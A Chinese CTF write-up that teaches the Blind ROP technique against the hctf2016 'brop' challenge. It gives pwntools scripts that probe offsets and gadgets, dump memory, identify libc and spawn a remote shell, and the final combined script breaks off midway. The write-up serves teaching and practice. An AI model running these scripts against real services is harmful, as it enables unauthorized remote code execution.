brop
是一项非常巧妙的技术,在无法获取到二进制程序和libc
的情况下进行远程溢出,利用了诸多 Linux 系统本身的特性,值得深入研究研究,即使只是为了好玩
BROP
即 Blind ROP
,需要我们在无法获得二进制文件的情况下,通过 ROP
进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR
、NX
和栈 canary
的 64-bit
Linux
。这一概念是在 2014 年提出的,论文和幻灯片在参考资料中。
实现这一攻击有两个必要条件:
ASLR
也没有影响。本文主要参考: https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html 这是一个非常优秀的项目,本文对其中的部分内容进行了优化
关于堆栈各种保护技术(canary、NX、ASLR
)可以参考:
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/4.4_gcc_sec.html
下面以 2016 年的 hctf
中的一道题 brop
来进行演示
比赛中未提供二进制程序和 libc
,仅仅是提供了 IP
和 端口
好在比赛后,出题人提供了源代码
https://github.com/zh-explorer/hctf2016-brop
和文章中一样,我们将其编译并使用 socat
进行环境模拟
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("WelCome my friend,Do you know password?");
if(!check()) {
puts("Do not dump my memory");
} else {
puts("No password, no game");
}
}
int check() {
char buf[50];
read(STDIN_FILENO, buf, 1024);
return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
gcc -z noexecstack -fno-stack-protector -no-pie brop.c
checksec a.out
可以看到, canary
未开启,开启了 NX
socat
部署远程连接环境由于 socat 在程序崩溃时会断开连接,我们写一个小脚本,这里直接借用文章中的代码,让程序在崩溃后立即重启,这样就模拟出了远程环境 127.0.0.1:10001
#!/bin/sh
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 5 ]; then
socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
fi
done
这里没有使用
ctf_xinetd
也间接导致了我消耗两周左右的时间来研究其中的一些问题,问题从我这里直接看就好了,大家复现的时候可以使用ctf_xinetd
,可以尝试将其中的Dockerfile
中ubuntu 16.04
改成18.04
试一试 可以参考 https://bbs.pediy.com/thread-228385.htm
我们保存以上脚本为 con.sh
,配合 nohup
,我们直接执行 nohup bash con.sh &
这里需要注意, socat
在 Ubuntu 中不是自带的,需要使用 sudo apt update & sudo apt install socat
来进行安装
操作系统选择 Ubuntu Server 18.04 64位
经过以上操作,我们已经部署好环境,简单使用 nc
来连接一下,看看 banner
和 功能
输入密码这里也就是我们的溢出点
栈溢出基础可以从下面的链接进行学习
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.3_stack_overflow.html
溢出攻击使用 Python3
+ pwntools
来进行
pwntools
可以直接通过 pip
来进行安装,安装前建议升级 pip
版本,升级方法如下:
wget https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py
安装 pwntools
pip3 install pwntools
验证安装是否成功
执行 from pwn import *
没有报错,说明安装应该没有问题
由于我们已经知道目标程序没有开启 canary ,所以就不需要暴力破解canary了,我们只需要向缓冲区提交数据,当数据中的最后一个字符刚好破坏了返回地址的第一个字节的时候程序就崩溃了,这个时候我们就能确定需要填充的字符数量了
如果开启了
canary
,那么在我们的数据覆盖返回地址前会覆盖canary
,当覆盖canary
的第一个字节的时候,程序就会崩溃,除非我们使用填充的字节正好就是原来canary的第一个字节 听到这里你应该就明白爆破canary
的方法了,没错,就是一位一位爆破,每一位最多 256 个结果,总共最多也就是 256 * 8 = 2048 次尝试就可以把canary
爆破出来
def get_buf_size():
for i in range(1000):
# time.sleep(0.5)
payload = b'a' * (i + 1)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("%d is not enough", i)
except EOFError as e:
r.close()
log.info("buf_size: %d",i)
return i
这个脚本是 Python3
版本的,和文章中提供的 Python2
版本基本相同,这里需要注意的是, Python3
中 bytes
和 str
的区别更加明显了,我们提交给服务器的内容是 bytes
类型的,所以需要在字符串前加 b
来将字符串转换为 bytes
,如下:
payload= b'a' * (i + 1)
可以获取到 buf_size: 72
也就是需要填充 72
个字符,后面跟上我们要下一步执行的指令的地址就会执行
其实为啥要获取
stop_gadget
或者说啥是stop_gadget
原文章说的很清楚,但是我猜到很多兄弟不会去看原文章,所以我在这里再啰嗦啰嗦 我们一没有二进制文件,二没有libc
版本,一切只能靠盲打探测某个地址的指令是什么作用,也就是把RIP
指向这个地址,那这样的话,肯定绝大多数地址的指令会把程序干崩溃了,还有一部分虽然执行了一些有意义的指令,但是执行完后还是要顺序去执行使程序崩溃的指令,我们统称为bad gadget
,多么朴实无华的名字。在我们远程连接的情况下看到的都是程序断开了连接 所以为了让那些我们需要的gadget
(一部分指令组成),我们需要找到一个地址,只要执行到这个地址就会让程序挂起,或者俗话说卡在那里了,但是连接不会断开,也就是说能够保证在这个地址前的指令执行的结果能够通过连接顺利反馈给我们,之后连接也不会断开。 其实这种stop_gadget
很多,比如函数入口什么的 能想到这种招的人真的不简单呀,佩服
根据上面的描述,使用如下 Python3
代码:
# 这个函数用来获取 stop_gadget 的地址
# 所谓 stop_gadget 就是那些一旦执行到这个地址就会挂起而不会报错的程序
def get_stop_gadget(buf_size, start_addr=0x400000):
stop_gadget = start_addr
while True:
time.sleep(0.5)
stop_gadget += 1
payload = b'a' * buf_size + p64(stop_gadget)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("find one stop gadget: 0x%x", stop_gadget)
return stop_gadget
except EOFError as e:
r.close()
log.info("not 0x%x, try harder!", stop_gadget)
except Exception:
log.info("connect error")
stop_gadget -= 1
这里和原文章代码也没啥区别,也就是 Python2
和 Python3
关于 bytes
的差异
这一步是原文没有的,也是我认为可以改进的地方 这里说获取
main
的地址是不准确的,准确的说是获取一个地址,一旦执行到这个地址就会打印程序开始输出的那串字符:WelCome my friend,Do you know password?
如果从程序的基地址0x400000
开始寻找的话,按照 Linux ELF执行的顺序,优先找到的肯定是_start
函数,所以这里也可以说是寻找_start
函数,对于我们的需求来说,找到_start
和 找到main
是一样的
既然我们已经找到了 stop_gadget
,那么我们就可以把 stop_gadget
的地址放在我们要遍历的地址的下一条指令,这样以便能够获取被遍历的地址的返回结果。但是 _start
函数本身就是一个 stop_gadget
,所以我们在这一步就不放置 stop_gadget
了
# 这个函数用来获取 main 函数的地址
# main 函数执行后打印的前几个字符是 WelCome
# 经过测试,我发现其实程序会先走到 _start 函数或者其他这种代码中,也是能够实现 main 的效果,这就够了
def get_main_addr(buf_size, start_addr=0x400000):
main_addr = start_addr
while True:
time.sleep(0.5)
main_addr += 1
# main_addr = 0x400677
payload = b'a' * buf_size + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
# print(resp)
r.close()
log.info("find one stop gadget: 0x%x", main_addr)
if resp.startswith(b'WelCome'):
log.info("main addr: 0x%x", main_addr)
return main_addr
except EOFError as e:
r.close()
log.info("not 0x%x, try harder", main_addr)
except Exception:
log.info("connect error")
main_addr -= 1
这里还是需要注意,Python3
中pwntools
的 recv
类函数收到的结果是 bytes
类型的,好在 bytes
类型也有 startswith
函数,只不过要在字符前加上 b
这里要注意一点,不知道是出题人故意耍我们还是对英文的理解不深,Welcome
非要写成 WelCome
所谓 useful gadget 就是指我们所需要的 gadget
在 x64
的 Linux
用户空间环境中,参数都是通过寄存器来实现的,具体如下:
内核接口使用的寄存器有rdi
、rsi
、rdx
、r10
、r8
和r9
。系统调用通过syscall
指令完成。除了rcx
、r11
和rax
,其他的寄存器都被保留。系统调用的编号必须在寄存器 rax
中传递。系统调用的参数限制为6个,不直接从堆栈上传递任何参数。返回时,rax
中包含了系统调用的结果,而且只有 INTEGER
或者 MEMORY
类型的值才会被传递给内核。
x86-64
下通过寄存器传递参数,这样做比通过栈具有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是 MEMORY
,则在栈上传递参数。如果类型是INTEGER
,则顺序使用 rdi
、rsi
、rdx
、rcx
、r8
和 r9
。所以如果有多于 6
个的 INTEGER
参数,则后面的参数在栈上传递。
什么是 useful gadget
取决于你要利用哪个函数做哪些事,在 BROP
的攻击中基本上都是利用 write
函数和 puts
函数来 dump
内存,具体怎么 dump
一会儿再说,先说这两个函数:
puts
#include <stdio.h>
int puts(const char *s);
puts 函数就一个参数,所以按照用户接口的函数调用约定,只需要在 rdi
寄存器中设置参数就可以了,那我们需要的 useful gadget
就是 pop rdi; ret
,这个 gadget 的意思就是将栈顶的内容存储到 rdi
寄存器中,之后再将更新后的栈顶的地址存储到 RIP
寄存器中,之后系统就会执行 RIP
寄存器中存储的地址所指向的指令
write
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
write
函数共有三个参数,所以按照用户接口的函数调用约定,需要分别在 rdi、rsi、rdx
分别设置参数,那么需要的useful gadget
就比较复杂了,可以分别找到 pop rdi;ret
、pop rsi;ret
、pop rdx; ret
,这三个顺序可以变化,赋值顺序也跟着变就好了,当然也可以进行一些组合,比如 pop rdi;pop rsi;ret
、pop rdx;ret
,当然了,如果你可以直接找到 pop rdi;pop rsi; pop rdx;ret
那就算你牛好了
比较起来,还是 puts
函数容易得多,由于 gcc
在编译 c
代码的过程中,对只有一个参数的 printf
函数有一项优化,也就是使用 puts
函数来替换 printf
函数,所以在有输出的程序中使用了 puts
的可能性还是挺大的。我记得有人提过,这题目好像还提示了使用 puts
,所以接下来也都是以 puts
函数来进行接下来的一系列攻击
如果你想看 write
函数可以参考 乌云知识库 中的文章:
http://drops.leesec.com/#!/drops/353.Blind%20Return%20Oriented%20Programming%20(BROP)%20Attack%20-%20%E6%94%BB%E5%87%BB%E5%8E%9F%E7%90%86
所以获取 useful gadget
的过程就是寻找 pop rdi;ret
的过程了,这个 gadget
可以在通用 gadget
中找到,什么是通用 gadget
呢?就是一段在所有的 Linux
程序中都会存在的 gadget
,但是地址是不确定的,这样的可用的 gadget
有两块,我把他们粘贴过来:
第一块
0x000000000040082a <+90>: 5b pop rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret
第二块
0x0000000000400810 <+64>: 4c 89 fa mov rdx,r15
0x0000000000400813 <+67>: 4c 89 f6 mov rsi,r14
0x0000000000400816 <+70>: 44 89 ef mov edi,r13d
0x0000000000400819 <+73>: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
0x000000000040081d <+77>: 48 83 c3 01 add rbx,0x1
0x0000000000400821 <+81>: 48 39 dd cmp rbp,rbx
0x0000000000400824 <+84>: 75 ea jne 0x400810 <__libc_csu_init+64>
0x0000000000400826 <+86>: 48 83 c4 08 add rsp,0x8
0x000000000040082a <+90>: 5b pop rbx
0x000000000040082b <+91>: 5d pop rbp
0x000000000040082c <+92>: 41 5c pop r12
0x000000000040082e <+94>: 41 5d pop r13
0x0000000000400830 <+96>: 41 5e pop r14
0x0000000000400832 <+98>: 41 5f pop r15
0x0000000000400834 <+100>: c3 ret
关于通用 gadget
的妙用可以参考:
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/4.7_common_gadget.html
这里我们只使用第一块,直接看的话是找不到我们要的 pop rdi;ret
的指令
我们可以去下面这个在线网站查询一下我们需要的 gadget
的字节码是多少
https://defuse.ca/online-x86-assembler.htm#disassembly
可以看到是 5f c3
,这时我们在看第一块通用 gadget
最后两条指令 pop r15;ret
所对应的字节码是 41 5f c3
,如果我们把指针的位置调整一下,从 5f
开始解析,那么我们就可以获取到 5f c3
,也就是 useful gadget
了
所以现在获取 useful gadget
的任务变成了获取第一块通过 gadget
的地址
通过 gadget
这连续的六个 pop
就可以作为我们筛选的条件了,具体 Python3
的代码如下:
# 这个函数获取 pop rdi; ret ,主要是使用 ret2csu
def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x400000):
useful_gadget = start_addr
stop_gadget = stop_gadget
main_addr = main_addr
while True:
time.sleep(0.5)
useful_gadget += 1
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
r.close()
log.info("find one stop_gadget: 0x%x", useful_gadget)
if resp.startswith(b'WelCome'):
try:
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
except EOFError as e:
r.close()
log.info("find useful gadget: 0x%x", useful_gadget)
return useful_gadget
except EOFError as e:
r.close()
log.info("not 0x%x,try harder", useful_gadget)
except Exception:
log.info("connect error")
useful_gadget -= 1
这里获取通过 gadget
地址的方法不止一种,就看你对通用 gadget
这段汇编代码的理解了
如果你真的看了上面这段代码,你可能会担心,如果遍历的地址遍历到 main_addr
是不是会导致我们的判断条件失效,其实不会,如果遍历到 main_addr
, 就会进入下面的这个判定条件
if resp.startswith(b'WelCome'):
try:
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
except EOFError as e:
r.close()
log.info("find useful gadget: 0x%x", useful_gadget)
return useful_gadget
由于 main_addr
是一个 stop_gadget
,所以不会导致 EOFError
错误,所以不存在判断条件失效的情况
当我们获取到第一段通用 gadget
后,我们将 useful gadget
的地址就设定为第一段 gadget
的地址,那么 pop rdi;ret
的地址就是 useful gadget + 9
现在我们已经可以控制 rdi
这个寄存器了,所以我们可以给 puts
提供参数,如果参数是可控的并且已知的,我们从基地址开始遍历,如果执行到某个地址的指令真的把我们提供的参数打印了出来,那么这个地址就是 puts
的 plt
地址了
如果再获取到 puts
的 plt
地址,我们就可以利用 puts
函数将程序的内存空间中每一个地址的内容都打印出来,这样就可以通过分析获取一些其他内容,这个后面再说
我们虽然可以控制参数,但是我们只能传递一个地址进去,没有办法传递什么字符串之类的,所以我们必须知道某一个地址的内容
如果你看过我的 Linux ELF人间清醒的总结
,你肯定知道 Linux ELF
文件最开始的几个字节是 Linux
的模数,是固定的字符 \x7fELF
,也就是说 0x400000
地址存储的内容是字符 \x7fELF
那么就以这个地址为参数,看看遍历到哪个地址的时候会打印出 \x7fELF
python3
代码如下:
# 这个函数用来获取 puts 函数的 plt 地址
# 0x400000 这个地址的值是 \x7fELF ,我们可以利用这个特点遍历 puts 的 plt
def get_puts_plt(buf_size, stop_gadget, main_addr, useful_gadget, start_addr=0x400000):
pop_rdi_ret = useful_gadget + 9
elf_magic_addr = 0x400000
puts_plt = start_addr
while True:
# time.sleep(0.5)
puts_plt += 1
# puts_plt = 0x400550
payload = b'a' * buf_size + p64(pop_rdi_ret) + p64(elf_magic_addr) + p64(puts_plt) + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp1 = r.recvline(timeout=0.5)
resp2 = r.recvline(timeout=0.5)
# print(resp1)
# print(resp2)
# print(resp1.startswith(b'\x7fELF'))
# print(resp2.startswith(b'WelCome'))
# log.info("find one stop gadget: 0x%x", puts_plt)
if resp1.startswith(b'\x7fELF') and resp2.startswith(b'WelCome'):
r.close()
log.info("puts_plt: 0x%x", puts_plt)
return puts_plt
r.close()
log.info("find one stop gadget: 0x%x", puts_plt)
except EOFError as e:
r.close()
log.info("not 0x%x, try harder", puts_plt)
except Exception:
log.info("connect error")
puts_plt -= 1
这里我们使用 main_addr
来作为 stop_gadget
的作用,同时可以增加一层判定,更准确一些
经过上面的代码,我们可以获取到 puts 的 plt 地址
有了
puts
的plt
地址我们就可以调用puts
函数来打印每一个地址的内容了,我们用它来dump
内存
为什么要 dump
内存,dump
内存的意义何在呢?
想想我们最终想要的是什么?其实是 getshell
,那么就需要 system
函数和 /bin/sh
字符串的地址,这个地址在 libc
中,我们虽然获取到了 puts
的 plt
地址,但是并没有获取到 puts
的 got
地址,puts
的 got
中保存着 puts
函数的实际地址,也就是说我们没有获取到目标主机上 libc
加载到内存中后 puts
的实际地址,那么也就无法获取到 libc
的地址,也就无法进一步获取 system
函数和 /bin/sh
字符串的地址
所以啥也不用说了,dump
内存,找 puts
的 got
如果对
plt
和got
不了解的,可以去查看之前我发的Linux ELF 人间清醒的总结
dump
内存这块还是有讲究的,这里参照原文章的描述
puts 函数通过
\x00
进行截断,并且会在每一次输出末尾加上换行符\x0a
,所以有一些特殊情况需要做一些处理,比如单独的\x00
、\x0a
等,首先当然是先去掉末尾 puts 自动加上的\n
,然后如果 recv 到一个\n
,说明内存中是\x00
,如果 recv 到一个\n\n
,说明内存中是\x0a
。p.recv(timeout=0.1)
是由于函数本身的设定,如果有\n\n
,它很可能在收到第一个\n
时就返回了,加上参数可以让它全部接收完。
# 这个函数用来 dump 内存
def dump_memory(buf_size, stop_gadget, main_addr, useful_gadget, puts_plt, start_addr=0x400000, end_addr=0x401000):
pop_rdi_ret = useful_gadget + 9
result = b''
while start_addr < end_addr:
sleep(0.3)
# start_addr = 0x400038
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadget)
try:
r = remote(IP, PORT)
r.recvline()
r.sendline(payload)
resp1 = r.recv(timeout=0.5)
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
# if start_addr == 0x40003e: # and start_addr <= 0x40003b:
# log.info("[++++]leaking: 0x%x --> %s" % (start_addr, (resp1 or b'').hex()))
# exit()
if resp1 == b'\n':
resp = b'\x00'
elif resp1[-1:] == b'\n':
log.info("[tail]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
resp = resp1[:-1] + b'\x00'
else:
resp =resp1
if resp != resp1:
log.info("[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % (start_addr, (resp1 or b'').hex(), start_addr, (resp or b'').hex()))
log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
result += resp
start_addr += len(resp)
r.close()
except Exception as e:
print(e)
log.info("connect error")
return result
我们主程序获取 result
后以二进制形式写入到文件就可以了
注意!!!
这个破地方简直就是玄学,将原文章中的 Python2
中的代码变成 Python3
,将 str
变成 bytes
后,内存会成功 dump
下来,但是时而能够正常解析,时而不能。
学过编程都知道,如果你的程序无法正常跑起来,那你肯定是有 bug
,你只需要找到它解决就好了,但是如果一个 bug
时而存在,时而不存在,那就完了,需要耗费老长时间去解决了,前前后后我测试了两周才解决所有问题
下面是我的一些个解决思路:
最开始肯定是比对
Python2
dump
生成的文件和Python3
dump
生成的文件有啥不同,使用xxd
来进行比对,也没有发现啥不同呀 后来我怀疑是send
和sendline
或者recv
和recvline
导致的,所以我就疯狂切换这几种函数,但是因为时而会触发bug,时而不会触发bug
,所以必须找到触发bug
的时候才知道不是因为这几个函数的问题 问题是每次dump
内存都很慢,使用socat
搭建环境要用10多分钟 排除这几个函数后,我猜测是timeout
时间不够长,之后又测试,也不是 之后又把stop_gadget
换成main_addr
,这时候就已经开始相信玄学了 无果 我怀疑是环境问题,这就很玄学,明明Python2
执行就没问题,但还是尝试了一下Ubuntu 16.04
由于Ubuntu 16.04
环境下安装pwntools
版本上有些小问题,Python3
安装可以,好像是Python2
安装不太行,所以就只测试了Python3
,还是不太行,但是因为Python2
版本的无法安装测试,也就不知道是不是Python2
也不行 接下来使用ctf_xinetd
搭建环境进行测试 你还别说,ctf_xinetd
搭建出来的环境比较稳定,不需要time.sleep()
。Python2
和Python3
都没问题 我还特意测试了三次左右,都没有出问题
那么我相当于站在道德和时间的十字路口了,如果使用 ctf_xinetd
来搭建环境,来写文章,就没有什么问题了,一切OK,因为我特意用 dump
下来的文件找到了 puts
的 GOT
,之后进行了一系列操作成功获取了 shell
但是实际生产环境又不可能用 ctf_xinetd
来搭建
最后还是选择了尊重事实嘛,一切以实际为主
下面就只剩下一种测试方法了,也就是笨方法,先找到 Python2
最少dump
多少个字节可以成功解析,这个大概测试就可以, 300
个字节足以
那么下面我就分别使用 Python2
和 Python3
dump
300
个字节内存到文件中,之后记录下每次 recv()
的字节内存的 16
进制,挨个字节比较,看看到底哪里不同
当我把 300
个字节都看完,并进一步输出验证后发现主要是 Python2
中会把 0a
转为 00
,而 Python3
不会
而且每次dump内存的时候,发生这种事情的地址还都不一样
所以也就是不好定位,明明 Python2
和 Python3
的代码都一样
# Python2
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
# Python3
if data == b"\n":
data = b"\x00"
elif data[-1] == b"\n":
data = data[:-1]
我们都知道 0x0a
也就是 \n
,那么就说明 Python3
中 elif data[-1] == b"\n":
这一步有问题,我在这个判定条件下,也就是 data = data[:-1]
前加了一条 print()
之后执行了一遍发现,果然这条 print
代码没有被执行
经过我的测试 Python2 和 Python3 在对 bytes 类型的切片处理上是有不同的
注意看 Python3 ,按照 Python2 b[-1] 这样切片的话,得到的并不是最后一个字节,想要获取最后一个字节需要 b1[-1:]
哎呀我去,浪费我多少时间!!!
最后就修改成了我提供的代码
这里需要一个工具叫
Radare2
,可以使用apt
来进行安装sudo apt install radare2
r2 -B 0x400000 code.dump
0x400000
是指定的基地址,code.dump
是 dump
下来的内存文件
之后我们使用下面的命令定位到 puts
的 plt
pd 14 @ 0x400545
其中 0x400545
就是我们 puts
的 plt
地址
如果你了解 got/plt
机制大概能够看出来,puts
的 got
地址是 0x00601018
puts
的 got
中存储着 puts
函数的实际地址
虽然我们可以通过使用
puts_plt
来打印puts_got
的内容,但是我们没有目标使用的libc
,如果目标开启了ASLR
,那么无法通过偏移来计算出system
函数和/bin/sh
的地址
在 Linux
的 ASLR
中有一些缺陷,并不是完全的内存地址随机,据很多文章缩写,内存地址的末尾 12 bit
的内容是不随机的,也就是说我们可以先获取 puts
的 got
中的地址,之后获取最后 3
位左右,之后和所有的 libc
版本的地址进行比较,看看能匹配哪一个
都是什么神仙能发现这种事情,佩服
先获取 puts
的 got
中保存的地址吧
# 这个函数用来获取 puts 函数的内存地址
def get_puts_addr(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'\x00\x00')
offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a
# system_addr = puts_addr - offset_puts + offset_system
# bin_sh_addr = puts_addr - offset_puts + offset_bin_sh
#
# payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
# payload += p64(pop_rdi_ret)
# payload += p64(bin_sh_addr)
# payload += p64(system_addr)
# payload += p64(stop_gadget)
# r.recvline()
# r.sendline(payload)
# r.interactive()
r.close()
log.info("puts_addr: 0x%x", puts_addr)
return puts_addr
except Exception as e:
print(e)
log.info("connect error")
由于我们开启了 aslr
,所以每次地址都不同
接下来我们需要去进行比对了,这么成熟的技术想想也知道肯定有人已经准备好了工具去查询各种 libc
版本,这里推荐一个在线网站
https://libc.rip/
由于我们之前都已经默认认为目标是 64位
系统了,所以这里我们直接关注 64
位的 libc
就可以了(其实应该在最开始判断一下是 32
位还是64
位的)
libc6_2.27-3ubuntu1.4_amd64
libc6_2.27-3ubuntu1.3_amd64
经过测试,这两个 libc
中 system
函数和 /bin/sh
的偏移是相同的
我们点击一下,我们常用的函数的地址就出来了
这样我们就获取到了 system
函数和 /bin/sh
相对于 puts libc
起始地址的偏移 ,libc
的起始地址 = puts_addr
- puts_offset
注意!!!!
这个点非常非常重要,但是非常简单,本来我们获取到各种地址后,就跟常规的 ROP
没有什么区别了,也就是调用 system
函数
但是刚才我们也看到了, puts
函数的地址每次连接都是变化的,也就是说我们获取后,打开网站,确定 libc
,根据偏移确定地址后,下一次连接地址都会变化,这是因为 ASLR
导致的,那计算后的肯定也不对了
原文章代码有如下标记
必须关闭 ASLR
???
如果这种攻击一定要对方关闭 ASLR
,那还攻击个锤子,现在系统都默认开启 ASLR
了,顿时觉得前面几天研究都没用了
但是我思考了一下,既然每次连接的时候都会重新设置 libc 的基地址,也就是 puts 每次都变化,那么我获取 puts 的地址后不断开连接,直接计算偏移,之后继续使用这个连接进行ROP getshell 不就可以了吗
修改 get_puts_addr
函数为 getshell
函数
# 这个函数用来获取 shell
def get_shell(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'\x00\x00')
offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a
system_addr = puts_addr - offset_puts + offset_system
bin_sh_addr = puts_addr - offset_puts + offset_bin_sh
payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)
r.recvline()
r.sendline(payload)
r.interactive()
# log.info("puts_addr: 0x%x", puts_addr)
return puts_addr
except Exception as e:
print(e)
log.info("connect error")
执行一下:
执行没有成功
这里就涉及另一个知识点了
Ubuntu 18.04
及以后版本中会对内存对其进行检查,如果你在做其他ROP的时候如果使用了 Ubuntu 18.04
也会遇到这个问题,调试会发现程序卡在下一条指令处:
movaps XMMWORD PTR [rsp+0x40],xmm0
这个时候只需要在填充字符和后面的 payload
之间加一个 ret
就可以解决
我们可以通过 dump
内存的方法去获取 ret
的地址,我思考了一下,其实有更简单的方法
从通用 gadget 中去截取
我们找的 pop rdi;ret
的字节码是 5f 3c
,起始地址是 useful + 9
,那么 ret
的地址不就是 useful + 10
嘛
所以最后调整我们 getshell
函数的内容
# 这个函数用来获取 shell
def get_shell(buf_size, stop_gadget, useful_gadget, main_addr, puts_plt, puts_got):
pop_rdi_ret = useful_gadget + 9
payload = b'a' * buf_size
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recvline(timeout=0.5)
puts_addr = u64(resp[:-1] + b'\x00\x00')
offset_puts = 0x80aa0
offset_system = 0x4f550
offset_bin_sh = 0x1b3e1a
system_addr = puts_addr - offset_puts + offset_system
bin_sh_addr = puts_addr - offset_puts + offset_bin_sh
payload = b'a' * buf_size
# payload += p64(0x000000000040053e)
payload += p64(useful_gadget + 10)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)
r.recvline()
r.sendline(payload)
r.interactive()
# log.info("puts_addr: 0x%x", puts_addr)
return puts_addr
except Exception as e:
print(e)
log.info("connect error")
成功getshell
from pwn import *
import time
# 这个函数用来获取填充字符数量
def get_buf_size():
for i in range(1000):
# time.sleep(0.5)
payload = b'a' * (i + 1)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("%d is not enough", i)
except EOFError as e:
r.close()
log.info("buf_size: %d",i)
return i
# 这个函数用来获取 stop_gadget 的地址
# 所谓 stop_gadget 就是那些一旦执行到这个地址就会挂起而不会报错的程序
def get_stop_gadget(buf_size, start_addr=0x400000):
stop_gadget = start_addr
while True:
# time.sleep(0.5)
stop_gadget += 1
payload = b'a' * buf_size + p64(stop_gadget)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
log.info("find one stop gadget: 0x%x", stop_gadget)
return stop_gadget
except EOFError as e:
r.close()
log.info("not 0x%x, try harder!", stop_gadget)
except Exception:
log.info("connect error")
stop_gadget -= 1
# 这个函数用来获取 main 函数的地址
# main 函数的前几个字符是 WelCome
# 经过测试,我发现其实程序会先走到 _start 函数或者其他这种代码中,也是能够实现 main 的效果,这就够了
def get_main_addr(buf_size, start_addr=0x400000):
main_addr = start_addr
while True:
# time.sleep(0.5)
main_addr += 1
# main_addr = 0x400677
payload = b'a' * buf_size + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
# print(resp)
r.close()
log.info("find one stop gadget: 0x%x", main_addr)
if resp.startswith(b'WelCome'):
log.info("main addr: 0x%x", main_addr)
return main_addr
except EOFError as e:
r.close()
log.info("not 0x%x, try harder", main_addr)
except Exception:
log.info("connect error")
main_addr -= 1
# 这个函数获取 pop rdi; ret ,主要是使用 ret2csu
def get_useful_gadget(buf_size, stop_gadget, main_addr, start_addr=0x400000):
useful_gadget = start_addr
stop_gadget = stop_gadget
main_addr = main_addr
while True:
# time.sleep(0.5)
useful_gadget += 1
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6 + p64(main_addr)
try:
r = remote(IP, PORT)
r.recvline()
r.send(payload)
resp = r.recv(timeout=0.5)
r.close()
log.info("find one stop_gadget: 0x%x", useful_gadget)
if resp.startswith(b'WelCome'):
try:
payload = b'a' * buf_size + p64(useful_gadget) + p64(1) * 6
r = remote(IP, PORT)
r.recvline()
r.send(payload)
r.recv()
r.close()
except EOFError as e:
r.close()
log.info("find useful gadget: 0x%x", useful_gadget)
return useful_gadget
except EOFError as e:
r.close()
log.info("not 0x%x,try harder", useful_gadget)
except Exception:
log.info("connect error")
useful_gadget -= 1
# 这个函数用来获取 puts 函数的 plt 地址
